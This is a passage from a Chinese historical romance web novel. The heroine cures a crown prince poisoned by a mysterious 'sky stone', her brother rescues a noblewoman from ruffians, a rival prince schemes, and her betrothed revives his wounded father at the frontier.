映雪全然无心理会苏沁雪的变化。许牧舟已然离京，她近些日子一直忙于筹备凝香居和慈善堂的扩张事宜。开分店的城池以及合作商皆是经过她们三人精心挑选而定。鉴于战争后方的补给需求，她们在选择合作对象时更侧重于粮商、布商和药商，以防万一。
转眼，到了除夕日，永安侯府处处喜庆，朝廷也放了休沐假，各院的主子都纷纷齐聚在荣晖堂，欢声笑语。
苏璟谦向老夫人行过礼后，便欢快地跑到映雪跟前，满脸喜色，脆生生道：“三姐姐安，见过三姐姐。”
映雪抬手轻柔地摸了摸苏璟谦的头顶，微笑着问道：“谦哥儿长高了呢，最近有没有好好研习功课？”
苏璟谦用力地点点头，眼中闪着兴奋的光芒，道：“璟谦如今已经会背三字经了，父亲考察功课的时候还夸奖了我呢！”
映雪闻言，轻轻捏了捏苏璟谦的脸蛋，夸赞道：“谦哥儿真棒，那三姐姐也要奖励你。”说罢，便让身边的绿绮将她精心准备的礼物拿了出来，那是一把精致小巧的弹弓，正适合七岁的苏璟谦把玩。
苏璟谦接过礼物，顿时惊喜万分，连忙向映雪道谢：“三姐姐，我很喜欢这份礼物，一定会好好珍惜它，多谢三姐姐。”
映雪温柔地拍了拍苏璟谦的头顶，轻声道：“你先用它练习射击，等你再大一些，三姐姐再送你更好的弓箭。”
话音刚落，就听见苏璟睿带着羡慕又心塞的语气说道：“三妹妹，这更好的弓箭能不能也送二哥一把，大哥都有了神器，二哥我什么都没有呢！”还不等映雪回话，二夫人便瞪了一眼苏璟睿，冷声道：“你还好意思向你三妹妹讨要礼物？上次凌云书院考试你都没过关，你还是好好想想用什么礼物哄你三妹妹高兴，让她过几日见到魏山长的时候，看能不能给你走个后门吧！”
苏璟睿谄媚地笑道：“什么礼物能配得上天赋异禀的三妹妹呢？”紧接着又朝映雪提议道：“三妹妹，一会儿我的压岁钱都送给你好不好？压岁钱可都是沾了福气的，定让你福气满满。”
众人闻言，都笑作一团。
那次映雪落崖，听竹韵提及，苏璟谦从林姨娘处得知映雪出了事，竟被惊得哭了起来。之后，他天天跑去映月阁，不停地询问三姐姐有没有回来。此事令映雪感动至极，心中对苏璟谦也更多了几分怜爱。
映雪见二哥对弓箭饶有兴趣，便落落大方地笑道：“那等二哥过生辰之时，我定送二哥一把弓箭。”苏璟睿闻言，喜上眉梢，连连点头称好。
71. 急发
差不多时辰已至，永安侯领头，众人一同前往祠堂。祭祖乃是大事，除了卧病在床的苏敏皓以及被落发的苏映蓉之外，其余人等皆悉数到场。苏沁雪似乎并未在意苏敏皓的缺席，亦虔诚地跟着映雪，跪在其身后。
祠堂只许男儿进入，故而侯府的女眷只能跪在外面。映雪满心虔诚地跪拜，心中默默乞求老祖宗保佑祖母、父亲、大哥以及二叔他们皆平平安安、健健康康，保佑侯府诸事顺遂。
祭祖完毕，接下来便是吃年夜饭。
杯盘罗列，言笑晏晏。
永安侯举杯，感慨道：“这一年侯府历经风雨，有喜有忧。如今除夕，回顾过往，感慨颇多。新的一年，愿侯府众人齐心协力，家族繁荣。愿母亲康健，子女有成，我等顺遂。满饮此杯，迎接新年。”
众人纷纷举起酒杯，甚是欢喜。
苏沁雪也绽出几分笑颜，第一杯敬向老夫人，第二杯敬向永安侯，第三杯则敬向映雪。
这一举动着实令映雪有些受宠若惊，道，“四妹妹如此，倒是让我惶恐了。你我姐妹之间，何须如此多礼，新的一年，愿四妹妹万事胜意，所念皆成。”
苏沁雪听了映雪的话，脸上的笑容更加灿烂，眼眸中闪烁着感动的光芒。微微欠身，轻声道：“多谢三姐姐吉言。新的一年，我也愿三姐姐风采更胜往昔，事事皆能如意，得偿所愿。”
映雪闻言，浅浅一笑。
心中暗自思忖，只要苏沁雪是真心想通，不会做出损害侯府利益之事，那自己便也不会再插手苏沁雪的种种事宜。毕竟，她着实不愿看到父亲再为苏沁雪之事而担忧。
一顿年夜饭，吃了近一个时辰。
映雪拿到的红包数量最多且最为丰厚。苏璟睿果然说话算话，极为果断地将自己的红包一股脑儿通通交到了映雪手中。映雪亦未跟他客气，大大方方地坦然收下，脸上瞬间绽放出灿烂如春花般的笑容，清脆的嗓音响起：“二哥，就凭你这给红包的豪迈气势，我便是求也要求得魏山长将你收下。”
惹得众人哈哈大笑。
永安侯见众人和睦，心情甚佳。
这时，门外李总管急匆匆奔来，全然顾不得礼仪，向永安侯禀告道：“侯爷，宫里皇上急召三姑娘进宫。”永安侯闻言，顿时满心疑惑，朝映雪望去，两人对视一眼后，都急匆匆赶往前厅。
映雪暗自思忖，莫不是景阳侯府出了什么事？都怪自己，近日也没去景阳侯府看望景阳侯夫人。
宫里来的公公正是之前来过府里宣旨的王公公。王公公见映雪与永安侯一路奔来，发丝微乱，微笑着朝永安侯行礼，随后对映雪道：“劳烦慧敏郡主随咱家进宫，马车已在府外等候。”永安侯心中有些不安，问道：“王公公，皇上召见小女可是有急事？小女明日还要去景阳侯府拜见侯夫人和老夫人。”
王公公闻言，自然明白永安侯的言外之意，含笑道：“侯爷放心，明日一早咱家就会把慧敏郡主安全无恙地送回来，自然不会耽搁去景阳侯府。”
永安侯一听还要留宿，心中更是焦急，但也无可奈何。
随即，永安侯想到竹清，便安排竹清前往景阳侯府打探情况。
映雪上了马车，马车疾驰如飞，待在宫门前停下时，那剧烈的颠簸险些让映雪把刚吃的年夜饭给吐出来。她扶着马车，在一旁微微喘气。王公公见状，面带歉意道：“慧敏郡主，得罪了。若非事情紧急，咱家也不会如此匆忙赶路。”映雪摆了摆手，示意自己无碍。待整理好仪容后，她便跟着王公公进了宫门。
映雪心中的疑惑更甚，她微微颔首，紧跟在王公公身后。这一路仿佛格外漫长，穿过重重回廊，走过数座庭院，脚下的步伐也不自觉地加快了些。终于，在这宫殿处停了下来，抬眼便看到那匾额上庄重的“东宫”两字。
王公公转头朝映雪道：“慧敏郡主，请随咱家进去吧，皇上也在里面。”映雪深吸一口气，压下心中的不安与疑惑。随着王公公踏入宫殿，又走了好一会儿，便直接进入了太子的寝殿。
殿内灯火通明，却弥漫着一股紧张的气氛，让映雪的心跳不由自主地加快了几分。
绕过屏风，只见身着明黄色常服的皇上站在那里，床边围着几位太医，显然，太子出了事。映雪微微松了口气，正欲向皇上行礼，却被皇上挥手打断。
皇上急切地问道：“慧敏郡主，朕听闻你的医术传承自医仙鬼谷子，此事可是真的？”
映雪沉默片刻，神色谨慎地答道：“臣女不知，那位老爷爷并未告知臣女他的身份。老爷爷性情古怪，只因觉得臣女的性子颇合他心意，便教了臣女几日，还留了一本医术给臣女，说日后还要考验臣女。”
皇上闻言，越发觉得那位老爷爷就是医仙鬼谷子，毕竟高人大多性情古怪。这些年来，他一直都在寻找鬼谷子的踪迹，奈何天下之大，鬼谷子又神出鬼没，始终一无所获。
若慧敏郡主真的是医仙鬼谷子的传人，那可真是太子之福、上天护佑。
随即，皇上满怀期盼地对着映雪说道：“太子吐血昏迷，慧敏郡主，你且过去替太子诊治一番，看看有无良策。”
映雪微微点头，移步朝着太子床前走去。
之前与映雪一同研制疫方的周太医也在，映雪向周太医询问太子的具体情况。周太医事无巨细，将太子的状况一一告知映雪。映雪这才知晓，太子是在除夕家宴中，吃了一小块糕点后，突然吐血昏迷。然而，事后太医们仔细查验了糕点以及盘子，皆未发现剧毒。又询问了太子随身伺候的公公，太子的饮食也并无不妥之处。可太子的脉象却确确实实呈现出中毒之相，这让太医们都毫无头绪。
映雪微微皱眉，轻轻将手指搭在太子的手腕处，全神贯注地感受着脉象。她的神色愈发凝重起来，太子的脉象确确实实呈现出中毒之相，然而却又与寻常之毒大不相同。
映雪陷入了深深的沉思之中，脑海中不断回想着周太医所述的情况。突然，一个念头如闪电般划过她的脑海。映雪想
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到一种可能，这毒或许是通过其他方式进入太子体内的。比如，太子接触了某种带有毒性的物品。
于是，映雪将伺候太子的小公公喊了过来，轻声问道：“太子平日可有喜欢把玩的物件？或是习惯某种事物？”话音刚落，皇上便急切地插话进来，问道：“你的意思是太子中毒是由外力所致？”映雪微微颔首，恭敬地回道：“很有可能，太子的脉象并不像是由食物所引起。”
皇上立马朝那名公公吩咐道：“你赶紧把太子的喜好之事无巨细地告知慧敏郡主。”公公战战兢兢地回道：“太子并无特殊喜好，所用之物皆由内务府供应，入殿后都经过仔细排查，奴才实在想不到慧敏郡主所指是何物。”说罢，惶恐地跪了下来。映雪心里暗暗叹息，以前她就曾听说过，皇上喜欢的菜色都不能被人知晓，再喜欢的菜也不能多夹一筷子，不由地对皇上生出些许同情。想来太子也是处于这种情况。
映雪思索了片刻，再度问道：“那东宫最近可有刚领进来的物件，且被太子把玩过？”
映雪微微蹙着眉头，目光紧紧地盯着公公。
公公沉默了一会儿，忽地抬头，眼神一亮，急忙道：“昨日底下有人献上一件礼物，说是从域外获得的天石，要送给小郡主把玩，太子曾把玩过，还说要制成饰品再送给小郡主。不知郡主说的可是它？”
映雪尚未说话，皇上便已迫不及待，厉声对公公吩咐道：“还愣着做什么？赶紧把那东西拿过来！”
很快，公公就把天石拿了过来。这天石仅有拇指般大小，乍一看去，通体漆黑如墨，然而却散发着神秘莫测的光芒。从各个角度看去，光芒皆不相同，极为耀眼，一眼便知绝非凡物。也难怪太子会想着将其制成饰品送给小郡主。
映雪刚把天石从盒中取出，随即，便从左胸处传来阵阵寒意。她赶紧把天石放回盒中，关上盒盖，神色凝重地说道：“这天石含有剧毒，接触久了恐会影响子嗣，造成胎儿畸形，太子应该是因身体较弱，承受不住，激发了体内的毒素，导致吐血昏迷。”语音刚落，皇上勃然大怒：“好歹毒的心思！给朕查，若是查出谁要害太子，朕定要诛他九族。”
公公小心翼翼地问道，满是疑惑：“可这天石在呈给太子前，奴才们都仔细查验过，并未在天石上发现有剧毒啊。”映雪微微皱眉，说道：“这天石从外部的确难以查探出来。”说罢，她也让几位太医一一进行查验，可太医们同样没查出天石含有剧毒。周太医便问道：“既然这天石含有剧毒，外部又查探不出，为何慧敏郡主一眼便知它含有剧毒呢？”映雪沉吟片刻，缓缓说道：“不怕你们笑话，我就是因为对毒物有特殊感应，所以才会被老爷爷指点习医。”
说罢，太医们纷纷无话可说。
随后，映雪微微欠身，对皇上说道：“陛下，臣女猜测这天石的发源地，当地的居民身体可能与常人有异。”
皇上闻言，微微颔首，神色凝重道：“朕定会派人彻查此事。那太子的病可有办法医治？”
72. 太子
映雪略作沉思，而后回道：“臣女姑且一试，但太子的身体在之后还需好好调养。”
皇上闻言，见映雪确有施治之法，顿时面露喜色，眼中满是欣慰与期待，连连说道：“好，好！慧敏郡主若能治好太子，朕必有重赏。太子的身体就全权交由慧敏郡主了。”
映雪微微点头，郑重道：“臣女必竭尽全力。”
皇上又转头吩咐伺候太子的那名公公道：“务必好好配合慧敏郡主行事，若是有丝毫怠慢之处，小心朕要了你的脑袋。”
公公惶恐不已，连忙应道：“奴才定当全心全意配合慧敏郡主，绝不敢有半分懈怠，请陛下放心。”
随后，皇上便带着王公公离开了东宫。小公公赶忙朝映雪行礼道：“慧敏郡主，奴才名唤小允子。奴才这就去给您安排休息的寝殿。您若有任何吩咐，只管使唤奴才便是。”映雪微微点头，柔声道：“你且去忙吧。”
映雪与周太医以及其他几位太医经过深入讨论，最终一致决定采用针灸之术，尝试将太子体内的毒素排出。趁着众人未注意之际，映雪悄然向太子嘴里喂下一滴灵液。周太医见映雪一脸疲惫之色，心中既愧疚于自己的无能，又心疼映雪的劳累，便催促映雪先去休息，太子由他们照看，若有意外情况，再去喊她。映雪也没有跟周太医客气，向周太医及另外几位太医诚挚道谢后，便随着公公前往小允子为她准备的寝殿休息。
怡心苑坐落在离太子寝殿不远之处。殿内环境堪称绝佳，每一处布置都尽显精致，挑不出丝毫瑕疵。
宫女们个个训练有素，对待映雪极为恭敬周到，明显能看出是被特意交代过的。
映雪也正因如此，得以享受了一番贵人般的优厚待遇。
高床软枕，舒适宜人。许是换了个新环境，映雪心中隐隐有着一丝不适应，早早地便醒了过来。
得知太子已经苏醒，映雪不由地松了口气。
映雪想到祖母和父亲定担忧自己，说不定一晚未睡，她急切想回府。
苏璟皓因满心担忧映雪，早早地便起了床。得知映雪竟仍未回府，匆匆用过早膳后，便立刻骑马前往宫门等候。
骑马行至一偏僻处，忽闻一阵嘈杂之声传来。其中夹杂着女子的斥责之声，只听那女子怒喝道：“大胆，你们可知我们是什么人？”随即，便响起男子的调笑声，“哈哈，管你们是什么人，在这偏僻之处，就算是天王老子来了也没用。小娘子，长得这般标致，就陪哥几个乐一乐呗。”男子的调笑声无比轻佻，言语之间满是肆意妄为。
苏璟皓眉头紧紧一皱，心中暗道不好。他连忙勒住缰绳，循声望去，只见几个地痞模样的男子正围着两个姑娘。其中一位姑娘头戴帷帽，静静地站在一旁，虽看不清面容，但那身姿却又隐隐透着一股沉静的气质。另一位丫鬟模样的女子勇敢地护在她身前，恶狠狠地说道：“识相的赶紧滚，否则定让你们后悔存活于世。”
那几个地痞却丝毫不惧，其中一个满脸横肉的男子更是嚣张地向前一步，□□道：“小娘子，别吓唬我们。”说罢，竟就要伸手朝小丫鬟抓去。就在这千钧一发之际，苏璟皓突然沉声道：“住手！”接着，他动作利落地翻身下马，迈着大步沉稳地走了过来。
“小子，别多管闲事，赶紧滚！”其中一个地痞恶狠狠地说道。
苏璟皓面沉如水，眼神中透露出一股凌厉的杀气。“赶紧滚，否则休怪我不客气。”
那几个地痞仗着人多，并不把苏璟皓放在眼里。满脸横肉的男子呸了一声，骂道：“不知死活的东西，兄弟们，给他点颜色瞧瞧。”说着，几个地痞便挥舞着拳头朝苏璟皓冲了过来。
苏璟皓冷哼一声，身形一闪，如同猎豹般敏捷。轻松躲过地痞们的攻击，然后迅速出手，拳拳到肉，打得地痞们哭爹喊娘。几个回合下来，地痞们便被打得东倒西歪，躺在地上呻吟不止。
见识不妙，赶紧逃跑了。
苏璟皓望向两位姑娘，温声道：“无事了，两位姑娘快些回府吧。日后莫在这偏僻之处行走，以免再生危险。”说罢，就准备离开。
这时，那位带着帷帽的姑娘突然轻声开口：“多谢苏世子出手相救。”苏璟皓闻言，面露诧异之色：“你是清平县主？”紧接着，他微微皱眉，语气中带着几分急切地说道：“你身边怎么就只带着一个丫鬟呢？万一出事了可如何是好？”
丫鬟却不以为意地回应道：“哪能呢，县主身边自然有暗卫护着。”苏璟皓听了这话，尴尬地挠了挠头，对着清平县主微笑道：“让您见笑了。”
清平轻笑道：“苏世子见义勇为，令人钦佩不已。”
随后，她又轻声问道：“不知永安侯世子一大早行色匆匆，这是要去往何处？”
苏璟皓随即将映雪进宫之事告知了清平。清平听后，陷入沉思，而后开口道：“我与你一同去！”苏璟皓深知清平县主与妹妹的深厚情谊，便也没有拒绝，顺便说道：“你以后就叫我苏大哥吧，喊世子太过见外了。”清平微微点头，脸上露出一抹笑容，轻声道：“好的，苏大哥，你也叫我清平吧。”
三人一同朝着宫门走去，苏璟皓得知清平大清早现身街头是为新年给慈善堂施善，顿时对她钦佩不已。
映雪为太子把脉之际，太子望着眼前泰然自若的映雪，不禁好奇发问：“本殿昔日曾闻，世间有宿慧之人。不知慧敏郡主可是此类拥有宿慧之人？”
映雪微微垂首，松开为太子把脉的手，而后平静地望向太子，轻声说道：“殿下，这世间确实有许多难以用常理和常识来解释之事。不过，臣女并非有宿慧之人，臣女习医实乃机缘巧合。”稍作停顿，她又接着言道：“殿下身体中的毒素已然尽除，后期再以药丸加以精心调理，想来殿下之身体定能恢复如初，与常人一般无二。”
太子闻言，心中难抑激动之情，急切问道：“你所言可是当真？”
映雪微微点头，回应道：“自然是真的。”随即，太子畅快一笑，说道：“不管你是因何机缘习医，本殿都是那受惠之人。日后若有需本殿之处，你尽管开口，本殿定当全力回报。”<
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映雪再度垂首，神色恭敬，缓缓说道：“殿下言重了。殿下之身体关乎社稷安稳，臣女能为朝廷略尽绵薄之力，实乃臣女之荣幸。”
闻言，太子心中暗自叹息，一股嫉妒之情不由地油然而生，逸澜那小子当真是好运气。慧敏郡主虽为女子，可与之交流，却全然让人忽略了她的女子身份，而且是有着仙姿容貌，堪称绝色佳人的女子。
这样的女子真该受万千敬仰，随即问道，“慧敏郡主可曾想过出仕？”
映雪闻言，以为自己听错了，睁着那圆鼓鼓的眼睛望向太子。太子瞧着映雪此时的模样，只觉可爱至极，随即爽朗地笑出了声，道：“慧敏郡主医术卓绝，若能出仕，必定可以造福更多百姓。你若是对此有兴趣，本殿可向父皇举荐你。”
话音刚落，便见映雪拼命摇头，说道：“殿下谬赞了，臣女懒散惯了，实在担不起此等重任。不过，若是朝廷有需要，臣女定会挺身而出。”
太子闻言，也不再勉强，随即命小允子取来一枚令牌，交到映雪手中，言道：“此令牌你收好，凭借此令牌，你可自由出入东宫。若有何事，随时来见本殿。”
映雪颔首，将令牌收好。接着，她仔细地叮嘱了太子诸多注意事项。而后，映雪提出告辞，准备回府。
太子安排了小允子护送，一同随行的还有太子丰厚的赏赐。
行至御花园，正巧碰上去给齐贵妃请安的三皇子。映雪连忙俯身行礼，三皇子停下脚步，眼中瞬间闪过一丝阴霾，沉声道：“慧敏郡主当真是好胆量！”
映雪神色平静，淡然回应道：“三皇子过奖了。”说罢，三皇子冷哼一声，旋即转身拂袖而去。映雪微微皱起眉头，小允子见状，赶忙安慰道：“慧敏郡主莫要担心，三皇子断不敢对您如何。”映雪轻轻摇了摇头，轻声道：“无妨。”
踏出宫门，映雪便望见大哥苏璟皓在宫门前静静等候，身旁还站着一位头戴帷帽的女子。两人不时轻声交谈着，映雪定睛细看，竟是清平。她眼眸瞬间一亮，高声喊道：“大哥，清平，你们怎会在这儿？”
苏璟皓见映雪现身，急忙迎上前去，温声道：“妹妹，你总算出来了，我过来接你，我们都等你许久了。”
映雪将目光投向清平，清平浅笑盈盈，说道：“我在街上正巧遇苏大哥出手相助，便一同前来等你了。”
听到“相救”二字，映雪眉头紧蹙，追问道：“究竟怎么回事？”
清平瞧了一眼后面的小允子，轻声道：“我们路上再细说吧，看来我得蹭一蹭这宫里的马车了。”
映雪环顾四周后，狠狠瞪了苏璟皓一眼，埋怨道：“大哥，你来接我，怎的不赶车来？”
苏璟皓面露心虚之色，回道：“我给忘了。”
映雪旋即去找小允子商议，说道：“允公公，我大哥来接我了，您送到这里便好。马车还需借用，劳烦公公了。”
小允子赶忙摆手，应道：“郡主客气了，马车郡主尽管用。既然郡主兄长已到，奴才就送到此处，郡主保重。”
73. 抵达
苏璟皓把清平碰到地痞调戏的事告诉了映雪，映雪眉心紧蹙，心中总感觉怪异，沉声道：“京城自从有了慈善堂，流民和乞丐几乎销声匿迹。且天子脚下，巡视向来严谨，何况今日还是大年初一，若是犯事被抓，定会加倍严惩。此事处处透着蹊跷，我总感觉不对劲。”
清平闻言，沉思片刻，缓缓说道：“你所言极是。对方似乎是提前知晓了我的行程，特地在此等候一般。”
苏璟皓沉声道：“按你们这般说法，对方竟是故意为之？”随即，他冷声道：“真是一群害群之马。”接着又朝清平叮嘱道：“清平，待你回府之后，定要派人仔细查探此事。若是有需要我帮忙的地方，只管吩咐。”
清平温柔一笑，轻轻点了点头，道：“我会的，多谢苏大哥！”苏璟皓闻言，耳朵微微泛红，眼神闪烁不定。
映雪见两人这般互动，眉毛轻轻一挑，暗自思忖：府里兴许过不了多久，就有喜事了。
想到此处，心中满是欢喜。
苏璟皓与映雪把清平送回了郡王府，再转道回了侯府。刚下马车，太子的赏赐还未抬下，皇上的赏赐又到了。看着眼前一大箱子的奇珍异宝，苏璟皓不由地感叹道：“妹妹，你这敛财的速度，父亲怕都要嫉妒你了。”话音刚落，头顶就迎来一击敲响，随即传来一道怒斥：“胡说八道。”
映雪哈哈大笑起来，随后，亲昵地拉着永安侯的袖子，朝着荣晖堂走去。一路上，映雪兴高采烈地说着她在皇宫的所见所闻，说到早上在御花园碰到三皇子的扫兴事时，语气中还带着些许郁闷。
永安侯停下脚步，微微皱眉道：“你以后碰到三皇子定要小心谨慎。估计之前齐府被整，你又与景阳侯府订亲，三皇子已然猜到是齐贵妃当时有意撮合你与他，才会被景阳侯世子针对。如今，三皇子把这事怪罪到了你头上。”
映雪撇撇嘴，不满道：“这不是柿子专挑软的捏嘛。”
随即，映雪不以为然地道：“以后若是见到他，我绕道走总行了吧。”
永安侯点了点头。
齐贵妃的锦澜宫，三皇子端坐在大黄梨木雕花椅子上，面色阴沉得可怕，仿佛能滴出水来。宫女们大气不敢出，一个个噤若寒蝉，生怕一不小心，便被迁怒。
齐贵妃见宫女们战战兢兢的模样，轻轻摆手，让她们下去。而后，齐贵妃对三皇子轻声斥责道：“母妃都跟你说过多少次了？怎么还这样沉不住气？又有何事惹着你了？”
三皇子冷声道：“母妃，你怕是不知道，前段时间齐府出事到底谁是背后主谋吧？”
齐贵妃迟疑道：“不是太子吗？”
三皇子冷哼一声，道：“母妃还真是高看那病秧子了，是景阳侯世子。”
齐贵妃闻言，皱眉道：“这是为何？”
三皇子气恼道：“还能为何？母妃之前召苏三进宫，定是被景阳侯府知道了。他们以为我在抢他的心上人。母妃当时若果断一些也就罢了，直接找父皇赐婚，如今这受父皇看中的慧敏郡主定是我的人了，又怎会去给那病秧子治病。”
齐贵妃也深感后悔，苏三因疫方之事大出风头，得皇上赞赏。但能真正成为皇儿助力的，定是那世家贵女。永安侯根基太浅，谁能想到这苏三还能有这么大的本事。”
齐贵妃略作思索，开口道：“母妃记得永安侯府还有一位苏四姑娘。听闻此女才情亦是非凡，虽说身份稍逊一筹，但倘若给予一个侧妃之位，想来永安侯府必定会感恩戴德，为你效力。如此一来，你与景阳侯世子成为连襟，也可化干戈为玉帛。”
三皇子闻言，眼眸微微垂下，一时间陷入了沉默之中。
谁知道这景阳侯世子会不会真把他当作连襟呢？毕竟他之前多次示好，却都被景阳侯世子视而不见。难不成多了个女人，景阳侯世子就真会被女人左右？
随即，三皇子想起今早在御花园见到的慧敏郡主的容貌，心中微松，又遗憾痛失美人。
许牧舟仅带着双喜及几名暗卫，一路快马加鞭，风餐露宿，连除夕都是在野外过的。途中数次换马，终于望见前方的城池，其上刻着“靖宁城”三个大字。
城门紧闭，城墙上，守卫们警惕地注视着四周，待看见许牧舟等人，为首的守卫高声喝问：“来者何人？”
许牧舟从怀里掏出一枚令牌高举。
随即，城门被打开，景阳侯的亲兵迎了上来，激动道，“少主，你终于到了。”
许牧舟沉声道，“先入城。”
城内居民神色平静，各自忙碌，店铺照常营业，行人来来往往，秩序井然，偶有孩童嬉笑，道路干净整洁，整个城内有条不紊。
许牧舟神情微松，问道，“老头子怎么样了？”
亲兵凝重道：“但仍未清醒，军医说，侯爷所中的箭上被抹了毒汁，若不及时解毒，恐有性命之忧。”
许牧舟皱眉，又问道，“战事情况如何？”
亲兵自得道，“侯爷出事前留了三个锦囊，目前靠此支撑。所幸少主来了。城里现由沐将军主事。”
许牧舟微微颚首。
沐将军是景阳侯副手，亦是从小看着许牧舟长大的叔叔。
踏入城主府，许牧舟直接去了景阳侯的房间，并派人去把军医胡大夫请了过来。
胡大夫见到许牧舟，立刻上前请罪道：“少主，老夫实在无能，至今仍未能找出侯爷究竟中了哪几种毒。”
许牧舟轻轻摆手，说道：“不怪你，你已尽力。”随后，他从怀中掏出一粒药丸，递过去道：“你把这药丸给老头子服下。”
胡大夫面露迟疑之色，问道：“这可是能解百毒的药丸？”许牧舟微微点头，回应道：“这是慧敏郡主所制，放心用吧。”
胡大夫闻言，顿时激动起来，说道：“老夫也曾听侯爷提起过慧敏郡主，慧敏郡主天资聪颖，与少主当真是天造地设的一对。”
许牧舟暗哼，没想到老头子竟如此爱显摆，还在下属面前炫耀起未过门的儿媳妇
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来，抢了他的活。
胡大夫不敢耽搁，立马将药丸喂进景阳侯嘴里。
加了灵液的药丸效用非凡，没过多久，便瞧见景阳侯的眼皮微微颤动，仿佛即将苏醒。胡大夫见此情形，激动得难以自持，高声道：“侯爷马上就要清醒了。”话音刚落，景阳侯缓缓睁开双眼。他环顾四周，目光落在许牧舟身上时，微微皱眉道：“你怎么过来？”许是许久未曾开口说话，声音沙哑低沉。双喜机灵地倒了一杯茶水，赶忙递了过去。
许牧舟满不在乎地哼道：“哼，我不来谁能救你这老头子。”接着又道：“这段时日，你就安心养伤吧，我正好想会一会那赤焰的厉害。”
恰在此时，门外传来一道爽朗的笑声：“逸澜来啦？来得正好，你我叔侄二人正好一同上阵杀敌，定要将赤焰杀得片甲不留。”
许牧舟闻声，立刻起身喊道：“沐叔叔。”
沐将军重重地拍了一下许牧舟的肩膀，说道：“好小子，听说你订亲了？沐叔叔总算能喝到你的喜酒了。”接着，他又揶揄道：“我可记得当初有个人大言不惭，声称这辈子绝不娶妻，还说最大的志愿便是留在战场呢。”
许牧舟厚着脸皮道：“沐叔叔，侄儿所娶之人绝非平凡之辈。那慧敏郡主聪慧无双，才情出众，有此等佳人，若是侄儿不好好把握这机会，那可当真是有眼无珠了。”
沐将军闻言，放声大笑道：“好好好，全军上下无人不知，景阳侯府的少夫人慧敏郡主天姿国色，聪慧过人，才情与医术皆是超凡绝伦。景阳侯府当真是好福气啊！”
许牧舟转头向景阳侯望去，只见景阳侯眼神微微躲闪，随后他清了清嗓子，对沐将军沉声道：“速速召集其他将军前来开会，商议战事。”
景阳侯略感心虚，他并非故意显摆，实在是儿子先前不争气，那些属下还时不时地在他跟前提起儿子那想让景阳侯府绝后的行径，着实令他心塞不已。好不容易儿子订亲了，而且这儿媳还是景阳侯府的福星，他自然忍不住要在下属面前炫耀一番。可谁能想到他们这般无聊，竟将此事传得军中人人皆知。
待他回京，定要郑重地好好感谢祖宗一番，佑得侯府有此佳媳。
晚上，城主府为许牧舟举办接风宴。众人纷纷向许牧舟道喜，个个都期盼着能有机会见识一番传说中的慧敏郡主。饶是平日里颇为得意的许牧舟，在这般热情之下也有些招架不住，被灌了一肚子的茶水。
这一晚上，他来来回回跑了好几次茅厕，好不狼狈。
见天色渐亮，许牧舟再无半点睡意。
心中暗自思忖，不知那丫头有没有想念自己。想着想着，他心中不禁自嘲起来，活了十九载，从未想过自己有一日竟会为一个女子这般牵肠挂肚。难怪世人都说温柔乡是英雄冢，如今看来，此言不虚。
紧接着，许牧舟又猛地从床上翻坐起来，开始东翻西找。这动静惊动了外间的双喜，带着困意道，“世子爷，这天还没亮呢，你还睡不睡了？”
74. 热情
许牧舟头也不抬地回道：“少废话，睡你的觉。”
说罢，许牧舟便从包袱里面急切地找出一个荷包，从里面取出一朵紫色的珠花。看着珠花，随即眉头一皱，心里暗暗思忖：等回京后，一定要让那丫头亲手绣个荷包送给他。想到这里，嘴角不自觉地上扬。
景阳侯老夫人此前一直于京城西郊的明月山庄休养。那明月山庄乃是景阳侯府的产业，山庄内有温泉，对老夫人的身体极为适宜。此前老夫人听闻孙儿订亲，本欲即刻回府，还是许牧舟亲自去信，恳请老夫人以身体为重。于是，老夫人便一直留在明月山庄，直至临近除夕，这才返回侯府。
映雪第一次以许牧舟未婚妻的身份前往景阳侯府向景阳侯夫人及老夫人请安，心中难免有些紧张。她坐在马车上，时不时地撩开帘子，看一看路程。绿绮见状，也跟着紧张起来，道：“姑娘，景阳侯老夫人定是跟咱们侯府的老夫人一样，温和慈祥吧？”接着又道：“若是景阳侯老夫人严厉，对姑娘挑剔，姑娘可不能让人欺负了去。”
竹韵立即打断道：“胡言乱语，景阳侯府品性高洁，景阳侯老夫人也定是一位明事理、豁达之人，怎会对姑娘挑剔。”
映雪闻言，随即笑出声来，自嘲自己真是魔障了。上辈子所经历的苦，怎会还没让自己长记性。她向来以诚待人，若是景阳侯府的长辈不满意她，她敬而远之便是。如此一想，自己当真是庸人自扰。
平复了一下心绪，也逐渐放松下来。
马车缓缓在景阳侯府门前停下，映雪刚下马车，便见到景阳侯夫人身边的沈嬷嬷一脸笑意，快步迎了上来。沈嬷嬷恭敬地行礼道：“慧敏郡主万安。夫人与老夫人一早就盼着郡主您过来，特意命了老奴在此等候。”
映雪微微轻笑，柔声道：“让嬷嬷久等了。”
而后，映雪跟随沈嬷嬷缓缓走进景阳侯府。一路上，府中景致布局精妙，错落有致，处处散发着庄重与典雅的气息，彰显着侯府的非凡底蕴。
来到正厅，映雪便看到景阳侯夫人和老夫人端坐在主位上，眼神中满是期待。映雪款步上前，盈盈下拜，声音清脆悦耳：“映雪见过夫人、老夫人。”
侯夫人连忙起身，满脸笑容，亲自上前扶起映雪，亲切地说道：“快起来，快起来，都是自家人，无需如此多礼。”老夫人也面带微笑，微微颔首，眼中满是慈爱。
“舟儿能有小雪这样的未婚妻，真是他的福气。我一直盼着有个像小雪这样的女儿，等小雪嫁进侯府，我定会把小雪当亲生女儿疼。若是他敢对你不好，我定不饶他。””侯夫人拉着映雪的手，热情地道。
还不待映雪接话，老夫人便接口道：“好孩子，舟儿自小就极有主见，能主动求皇上赐婚，定是极喜欢你，以后你们相处，若他有什么做的不对的地方，尽管来找祖母，祖母定会替你撑腰。”
映雪闻言，心中甚是感动，浅笑道：“多谢祖母！”
老夫人听映雪喊她祖母，顿时眉开眼笑，脸上的皱纹仿佛都舒展开来。
随即，便让身边的嬷嬷把她准备的礼物拿了出来。
竟是明月山庄的房契，映雪瞪大双眼，连连摇头惶恐道：“祖母，这太贵重了，映雪不能受。明月山庄是祖母养身之所，怎能给我。祖母厚爱映雪心领，但这山庄意义非凡，承载着祖母康健安宁。映雪不敢夺祖母所爱之地，还请祖母收回房契。”
老夫人嗔笑道：“祖母手上也就这明月山庄还能拿得出手。如今舟儿能成家，祖母心中欢喜，这病啊，便也好了一大半。以后这庄子祖母也用不上了。何况，小雪啊，这明月山庄给了你，难道就不欢迎祖母去了吗？”
